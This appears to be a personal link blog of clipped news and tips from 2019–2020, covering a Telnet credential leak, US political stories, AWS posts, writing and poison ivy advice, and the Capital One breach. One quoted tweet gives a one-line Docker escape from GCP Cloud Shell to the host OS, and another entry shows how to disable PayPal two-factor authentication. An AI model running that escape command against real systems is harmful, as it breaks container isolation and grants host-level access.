Monday, January 20, 2020

Hacker leaks passwords for more than 500,000 servers, routers, and IoT devices


A hacker has published this week a massive list of Telnet credentials for more than 515,000 servers, home routers, and IoT (Internet of Things) "smart" devices. 

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David K. Shepherd, CISSP, PMP, ITILv3, SAFe 4 davidkshepherd@gmail.com

Sunday, January 19, 2020

Not a Joke: Trump Is Looking Into Making Bribery Legal | Vanity Fair


"It's just so unfair that American companies aren't allowed to pay bribes to get business overseas," Trump said, according to a passage published by the Post. "We're going to change that." 

More:
https://www.vanityfair.com/news/2020/01/donald-trump-bribery-laws

Sunday, December 15, 2019

Ukraine prosecutor clears Joe Biden and son Hunter of wrongdoing




WASHINGTON – Ukraine's top prosecutor said he hasn't seen any evidence of wrongdoing by former Vice President Joe Biden nor his son Hunter Biden in dealings with the country.

Prosecutor General Yuriy Lutsenko said Hunter Biden and Burisma, a Ukrainian private gas company of which the younger Biden served on the board, were not the targets of investigations by his office.

He also said the former vice president, and current Democratic 2020 hopeful, didn't act improperly when he called for the dismissal of Ukraine's former prosecutor general, Victor Shoki, who had been investigating the company.

"I do not want Ukraine to again be the subject of U.S. presidential elections," Lutsenko said in an interview with Bloomberg. "Hunter Biden did not violate any Ukrainian laws – at least as of now, we do not see any wrongdoing. A company can pay however much it wants to its board."

More:
https://nypost.com/2019/05/16/joe-biden-and-son-hunter-cleared-of-wrongdoing-by-ukraine-prosecutor/

Friday, December 13, 2019

Tuesday, November 26, 2019

New – Use Tag Policies to Manage Tags Across Multiple AWS Accounts | AWS News Blog



https://aws.amazon.com/blogs/aws/new-use-tag-policies-to-manage-tags-across-multiple-aws-accounts/


Just a reminder...


Constitution of United States of America 1789 (rev. 1992)
Section 4

The President, Vice President and all Civil Officers of the United States, shall be removed from Office on Impeachment for, and Conviction of, Treason, Bribery, or other high Crimes and Misdemeanors.

Sunday, November 24, 2019

Choosing a Paper Topic: The ACE Method


  • "Angry" topics tend to lean towards "This is a problem that needs to be solved. I'm going to find three ways (or five ways) to solve it, and present that to my audience." When you write this kind of paper, you're being an advocate or an activist. You want people to get fired up and do something about the problem, so in this case, choosing a paper topic means finding something that fires you up too.
  • "Curious" topics tend to lean towards "This is something that needs to be explained, so that we understand it better. I'm going to explain this topic to my audience." When you write this kind of paper, you're being a scientist. You want people to come away with a better understanding of how something works, so choosing a paper topic means finding something you want to explain for yourself, too.
  • "Excited" topics tend to lean towards "this is something that everyone needs to know about, so I have to find a way to tell them!" When you write this kind of paper, you're being a salesperson. You want to get other people just as excited about the topic as you are, so choosing a paper topic here means you need something that excites you, too.

Pick one of those things, and you have your paper topic.



More:
https://undergradeasier.com/choosing-a-paper-topic/




David K. Shepherd 

AWS-CSA, CISSP, PMP, ITIL, SAFe 4

davidkshepherd@gmail.com

Sunday, October 20, 2019

Turn Off PayPal 2 Factor Auth | This shouldn't be SO HARD to find...


Not Mine.  Found while researching the issue.

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Contributor

Re: How to remove 2-step phone verification from my paypal account?
 

I've succeeded to disable 2-Factor-Authentication!

You have to use the old interface of PayPal. 

  1. Log in
  2. Enter https://www.paypal.com/webapps/customerprofile/summary.view
  3. Goto Security Token Settings (https://www.paypal.com/cgi-bin/customerprofileweb?cmd=_security-token)
  4. select your phonenumber and then disable it
  5. cheers!

Saturday, October 19, 2019

Amazon Shares 6 Ways It Creates a Culture of Innovation and How You Can Too



https://www.inc.com/scott-mautz/amazon-shares-6-ways-it-creates-a-culture-of-innovation-how-you-can-too.html

Thursday, October 10, 2019

Two Giuliani Associates Who Helped Him on Ukraine Charged With Campaign-Finance Violations - WSJ


WASHINGTON—Two Soviet-born donors to a pro-Trump fundraising committee who helped Rudy Giuliani's efforts to investigate Democrat Joe Biden were arrested late Wednesday on criminal charges stemming from their alleged efforts to funnel foreign money into U.S. elections and influence U.S. politics on behalf of Ukrainian and other foreign politicians.

More:
https://www.wsj.com/articles/two-foreign-born-men-who-helped-giuliani-on-ukraine-arrested-on-campaign-finance-charges-11570714188




David K. Shepherd 

AWS-CSA, CISSP, PMP, ITIL, SAFe 4

davidkshepherd@gmail.com

Tuesday, October 8, 2019

Amazon Plans $800 Million Data Center in Argentina


Amazon.com Inc.'s cloud division plans to build a regional data center in a free-trade zone in Argentina, according to people familiar with the matter.

The Seattle-based company is preparing to invest about $800 million in the project over 10 years and will reap considerable tax benefits by locating the data center in the Bahia Blanca-Coronel Rosales districts of the province of Buenos Aires.

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Thursday, September 5, 2019

Poison Ivy advice



Okay as someone who is allergic to poison ivy and basically gets it by staring at it—  

1. ⁠Shower, pat yourself dry and put the towel in the wash. 

2. ⁠Go to the store, get an oatmeal bath packet, and calamine lotion (you'll find it in with all the poison ivy stuff), and a big thing of apple cider vinegar. 

3. ⁠Take an oatmeal bath, when you get out pat yourself dry. 

4. ⁠once dry, put the apple cider vinegar all over the infected area and let that dry. 

5. ⁠once that's dry put the calamine lotion on and veg out.  


Do not scratch it for the love of god. The shower gets the oils off your skin, the oatmeal bath will help with the oils already in your skin. The vinegar helps dry out the infected area, which will help with itching and also help your body get rid of the rash.  The calamine lotion also helps dry out your skin but also will help with the itchiness.  God speed.


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Thursday, August 29, 2019

One-liner #Docker escape from #GCP's Cloud Shell to the host OS


Spencer Gietzen (@SpenGietz)
One-liner #Docker escape from #GCP's Cloud Shell to the host OS:

sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash

⁦‪@RhinoSecurity‬⁩ pic.twitter.com/sXXFccQuti

Thursday, August 15, 2019

Capital One hacker took data from more than 30 companies, new court docs reveal


The government notes that Thompson has represented that she neither sold, nor otherwise shared or disseminated any of the data that she stole (from Capital One or any other victim), and that the copy of the data that the government recovered during the search of Thompson's residence is the only copy of the stolen data that she created. It is too early to confirm that this is the case. The government is continuing its investigation, which will take a significant amount of time and resources, given the immense amount of forensic evidence to review. To date, however, the government has not uncovered any evidence that would suggest Thompson's statement that she neither sold, nor otherwise disseminated, any of the data beyond the servers that the government recovered is untrue.   (emphasis added)


Wednesday, August 7, 2019

Computer Museum Of America


Preserving Our Digital Roots

After 40 years of collecting technology and four years of testing temporary exhibitions, the Computer Museum of America (CMoA) will be opening the doors to its new permanent home on July 20,2019. The CMoA will preserve the achievements of the digital revolution to educate, entertain and inspire the innovator in us all.

In the months following our opening, we will roll-out carefully curated exhibits featuring selected items from our collection of over 250,000 artifacts from the digital revolution. Our opening exhibit traces the history of the Supercomputer featuring iconic artifacts like the Cray 1A, Connection Machine 2 and the Intel PSC and PSC2, unveiling how these marvels of engineering impact our everyday life and the future.


https://computermuseumofamerica.org/